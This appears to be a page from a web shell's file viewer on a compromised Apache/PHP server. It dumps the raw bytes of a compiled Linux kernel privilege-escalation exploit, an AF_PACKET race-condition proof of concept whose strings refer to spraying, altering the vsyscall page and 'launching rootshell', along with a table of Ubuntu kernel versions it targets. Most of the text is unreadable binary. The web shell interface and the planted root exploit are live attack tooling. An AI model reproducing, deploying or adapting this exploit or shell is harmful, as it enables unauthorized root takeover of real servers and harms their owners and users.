|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > `& @ { @ 8
@ @ @ @ A A @ @ @ < < 8\ 8l 8l
H\ Hl Hl 8 8 8 0 0 h h h D D Std 8 8 8 0 0 Ptd K K K Qtd Rtd 8\ 8l 8l /lib64/ld-linux-x86-64.so.2 GNU GNU ۢ qㅯLy GNU 6 6 7 em9 G C W q k . z = ] | _ U u \ > 8 8 1 O " j $ d n " z __cxa_finalize pthread_exit usleep pthread_join munmap chown stat __libc_start_main strcmp fprintf sigaddset socket signal uname pthread_sigmask memset sigemptyset execl getuid puts strstr close pthread_create open strlen lseek syscall geteuid htons snprintf fork stderr wait memcpy chmod getpagesize setresuid kill setresgid putchar waitpid unshare getsockopt fwrite readlink __stack_chk_fail mmap setsockopt libc.so.6 GLIBC_2.32 GLIBC_2.14 GLIBC_2.33 GLIBC_2.4 GLIBC_2.34 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable ii
ui 8l @' @l ' p p p @ Hp %@ pp B@ p W@ p l@ p @ q @ 8q @ `q @ q @ q @ q A r ,A (r IA Pr ^A xr sA r A r A r A s A @s A hs A s B s #B s @B t UB 0t jB Xt B t B t B t B t B u C Hu %C pu BC u _C u |C u C v C 8v C `v C v C v D v /D w LD (w aD Pw vD xw D w D w D w D x D @x E hx !E x >E x SE x hE y E 0y E Xy E y E y E y E o o o o , o 6 z 7 Pn Xn `n hn pn xn n n
n n n
n n n n n n n n n n n o o o o o (o 0o 8o ! @o " Ho # Po $ Xo % `o & ho ' po ( xo ) o * o + o - o . o / o 0 o 1 o 2 o 3 o 4 o 5 HHO HtH 5N %N h h h h h h h h q h a h Q h
A h 1 h ! h
h h h h h h h h h h q h a h Q h A h 1 h ! h h h h h! h" h# h$ h% h& h' q h( a h) Q h* A h+ 1 h, ! h- h. h/ h0 %L D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D %}J D %uJ D %mJ D %eJ D %]J D %UJ D %MJ D %EJ D %=J D %5J D %-J D %%J D % J D %J D %
J D %J D %I D %I D %I D %I D %I D %I D %I D %I D %I D %I D %I D %I D %I D %I D %I D %I D %}I D %uI D 1I^HHPTE11H= SI f. H=S HS H9tH6I Ht H=YS H5RS H)HH?HHHtHI Htf D = S u+UH=H Ht H=H dR ] w UHHH}H uT A HS HѺ UHH0H}dH%( HE1XH uE S HUA HѺ
EE} u:E {S HUA HѺ
QE} u E뎐uHQ MUAH5 HǸ gQ HUdH+%( tT UHAAh HS HH HH Hƿ UHHE T 0¾ \u-H Q H H@ H E}?~ UHH H8H0H(dH%( HE1HpHjHp HHp Hƿ t-HrP H H H H0H8H7P H5 HǸ ¾ 0HHuH H" htHO H Hi HPDž@ H@HA HѺ
P P P P P ' HP HP HU Hot@HO H H H HUdH+%( ^ T HX H: H @
HN H Hv H. HO HHLS H`H`H H`H@ H`HHH8H`HPH`H0HP H`@( H`@,C
M tDžD O HDH@IHѺ
@HM H
HHǸ
N N N A Aȹ Hƿ HhHhu-H(M H H2 H Hh@LHL LH
HHǸ n@ L HL HA H H0M M HhHHH(HX HHFL Ht H H HL H H% HSM PIHK H H Hhiz DHK H
H H1 2 UHH}gR ] UHH HXdH%( HE1HDž`P`HXHhHpHHp HHp Hƿ t-HJ H H H\ BH+Hƿ .ﾭHhHH`HH`H ﾭHhHH9u7H`J H H H:Q 0 HUdH+%( t UHH dH%( HE1 E jHE Hz HHE HiP u
4 H Hƿ QE}+ ~H H UHH dH%( HE1 Dž\ tH`HH Hu-HI H H H m HJ Hƿ D \\+ ~HT H UHH0H}HuHUdH%( HE1bE} u!HUHMHEHHV HEH
REu*H HEE 냋EtH HTE HEdH+%( tP UHHHG H H HH HHG H@ H9H `HH Hp H{ HWHEP` HP`9% `hack%` HP HH `HEH `HEf@HF H@HHEHP HF H@HHEHPHE@ HEH@0 `HEH@8
`HF H@HHP`HH Hw UHH dH%( HE1 H HǸ m\\u-HE H Hc HkQH HH HHA HHHHPH\HΉ |H`HHHu~|utH HV\ /\ H
HΉc\6HH HHǸ sH HHEdH+%( t= UHH <H0dH%( HE1DžP <u.H0HH HQ HHu
DžP uIau@P u7 H H
H H]tquhP u_ . j H HH HH HǸ HLC H0 Hp HH`HAH`H Hv HHHXHX t
HX H`H H`H HIHH( HǸ HHH HǸ DžL LHcHHHHHHW8 HHHHu]LLHcHHHHHH8 HHtϋLHcHHHHH7 HH
B 5LLHcHHHHHH7 HH3P t#H7 HA HA HAAAAHH HA H HA H@HH HǸ MHnA H@HH HǸ +HLA H@HH HǸ H*A H@ HH HǸ HA Hu-H@ H, H HX>TT uq t#H@ H$ H H @t#HT@ H' H H HHT HΉm HUdH+%( t HH 4.4.0-46-generic #67~14.04.1 4.4.0-47-generic #68~14.04.1 4.2.0-41-generic #48 4.8.0-22-generic #24 4.2.0-34-generic #39 4.2.0-30-generic #36 4.2.0-16-generic #19 4.2.0-17-generic #21 4.2.0-18-generic #22 4.2.0-19-generic #23~14.04.1 4.2.0-21-generic #25~14.04.1 4.2.0-30-generic #36~14.04.1 4.2.0-27-generic #32~14.04.1 4.2.0-36-generic #42 4.4.0-22-generic #40 4.2.0-18-generic #22~14.04.1 4.4.0-34-generic #53 4.2.0-22-generic #27 4.2.0-23-generic #28 4.2.0-25-generic #30 4.4.0-36-generic #55 4.2.0-42-generic #49 4.4.0-31-generic #50 4.4.0-22-generic #40~14.04.1 4.2.0-38-generic #45 4.4.0-45-generic #66 4.2.0-36-generic #42~14.04.1 4.4.0-45-generic #66~14.04.1 4.2.0-22-generic #27~14.04.1 4.2.0-25-generic #30~14.04.1 4.2.0-23-generic #28~14.04.1 4.4.0-46-generic #67 4.4.0-47-generic #68 4.4.0-34-generic #53~14.04.1 4.4.0-36-generic #55~14.04.1 4.4.0-31-generic #50~14.04.1 4.2.0-38-generic #45~14.04.1 4.2.0-35-generic #40 4.4.0-24-generic #43~14.04.1 4.4.0-21-generic #37 4.2.0-34-generic #39~14.04.1 4.4.0-24-generic #43 4.4.0-21-generic #37~14.04.1 4.2.0-41-generic #48~14.04.1 4.8.0-27-generic #29 4.8.0-26-generic #28 4.4.0-38-generic #57 4.4.0-42-generic #62~14.04.1 4.4.0-38-generic #57~14.04.1 4.4.0-49-generic #70 4.4.0-49-generic #70~14.04.1 4.2.0-21-generic #25 4.2.0-19-generic #23 4.2.0-42-generic #49~14.04.1 4.4.0-43-generic #63 4.4.0-28-generic #47 4.4.0-28-generic #47~14.04.1 4.9.0-1-generic #2 4.8.0-28-generic #30 4.2.0-35-generic #40~14.04.1 4.2.0-27-generic #32 4.4.0-42-generic #62 4.4.0-51-generic #72 version switcher stopping, x = %d (y = %d, last val = %d)
wtf user pad_kmalloc() socket error
couldn't set sigmask
new exploit attempt starting, jumping to %p, arg=%p
target socket error sockets allocated
Error creating thread
removing barrier and spraying..
current packet version = %d
could not map pbd
pbd->hdr.bh1.offset_to_first_pkt = %d
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.. all messages sent
race not won
vsyscall page altered!
. could not modify vsyscall /proc/sys/hack
sysctl added!
could not add sysctl retrying stage.. something bad happened, aborting exploit attempt exploit starting
making vsyscall page writable..
stage 1 completed registering new sysctl..
stage 2 completed could not open /proc/sys/hack
/proc/self/exe binary executed by kernel, launching rootshell /sbin/modprobe could not create rootshell crash -p bash /bin/bash linux AF_PACKET race condition exploit by rebel
-Ubuntu %s %s kernel version: %s
proc_dostring = %p
modprobe_path = %p
register_sysctl_table = %p
set_memory_rw = %p
i have no offsets for this kernel version..
failed to create new user namespace
failed to create new network namespace
;
@ ` 9| ; =
0 P dp
zR x & D $ 4 FJ w ?:*3$" \ t I EC
@ EC
C EC
s EC
j l EC
c ( T# EC
D [H EC
? d EC
! EC
EC
j EC
a EC
u EC
@' '
4: 8l @l o
, 8n ( o o o o D o B Hl 0 @ P ` p ! ! ! 0! @! P! `! p! ! ! ! ! ! ! ! ! " " " 0" @" P" `" p" " " " " " " " " # # # 0# p @ B E'%@ B@ p4 u'W@ px4+l@ āD'е@ āD' @ ā8'@ @ @ @ā0%Pw@ A @ā@% {,A ā %`|IA 04s'^A @} d(psA ā%`wA ~n(pA ā ;' A A A ~Pn(`A 4px'B ~n(p#B PBā='й@B 3t'UB t( jB ā & B `B @C'B @ā%PwB B B @ x( C %C `A ā@<'BC `A ā`<'_C `A ā <'|C ā@&C 04`@r'C Aā6'C |c(pC Pā0%|C `~ h(pD B ā0:'й/D ā&LD px4+aD vD ppt(`D `B C'D B B'D @}( D PC K'D ā:' E !E ā&>E t( SE ~m(phE `A āp;'E +E 6+E `ā #& E āPA' E t( E y( GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 & & 3 ' I (z U @l | @' 8l 8N Hl K 8n 3 / p K p
S p [ l @ z Hz 4: # 9 [ K ` r I' I 0 ( s |{ @z p $ 7 J . H Z n p @ 2 j ' ' { 2 ( `& & 7 `z ? S n z 5 . # `{ 1 {
4) l 1 0 ? R z ^ x ~( C " ! z 4 Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry poc.c __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ putchar@GLIBC_2.2.5 __libc_start_main@GLIBC_2.34 launch_rootshell _ITM_deregisterTMCloneTable offsets barrier puts@GLIBC_2.2.5 setsockopt@GLIBC_2.2.5 unshare@GLIBC_2.4 readlink@GLIBC_2.2.5 setresuid@GLIBC_2.2.5 _edata off _fini strlen@GLIBC_2.2.5 __stack_chk_fail@GLIBC_2.4 getuid@GLIBC_2.2.5 mmap@GLIBC_2.2.5 setresgid@GLIBC_2.2.5 htons@GLIBC_2.2.5 snprintf@GLIBC_2.2.5 uname@GLIBC_2.2.5 lseek@GLIBC_2.2.5 memset@GLIBC_2.2.5 geteuid@GLIBC_2.2.5 setsockopt_thread close@GLIBC_2.2.5 verify_stage2 pad_kmalloc sfd vers_switcher_done getsockopt@GLIBC_2.2.5 __data_start strcmp@GLIBC_2.2.5 signal@GLIBC_2.2.5 modify_vsyscall fprintf@GLIBC_2.2.5 syscall@GLIBC_2.2.5 sigemptyset@GLIBC_2.2.5 __gmon_start__ stat@GLIBC_2.33 __dso_handle memcpy@GLIBC_2.14 _IO_stdin_used kill@GLIBC_2.2.5 pthread_exit@GLIBC_2.2.5 wrapper vers_switcher exploitbuf _end pad_fds verification_result pthread_sigmask@GLIBC_2.32 chown@GLIBC_2.2.5 __bss_start munmap@GLIBC_2.2.5 main chmod@GLIBC_2.2.5 pthread_create@GLIBC_2.34 catch_sigsegv waitpid@GLIBC_2.2.5 open@GLIBC_2.2.5 tp mapped try_exploit getpagesize@GLIBC_2.2.5 verify_stage1 fwrite@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable pthread_join@GLIBC_2.34 execl@GLIBC_2.2.5 wait@GLIBC_2.2.5 __cxa_finalize@GLIBC_2.2.5 _init sigaddset@GLIBC_2.2.5 fork@GLIBC_2.2.5 strstr@GLIBC_2.2.5 usleep@GLIBC_2.2.5 stderr@GLIBC_2.2.5 socket@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I W o ( a @ i , q o D D p ~ o p ( ( B @# @# P# P# `& `& 4: 4:
@ @ K K L L 8l 8\ @l @\ Hl H\ 8n 8^ p `
z j 0 j + Pj
Xt G z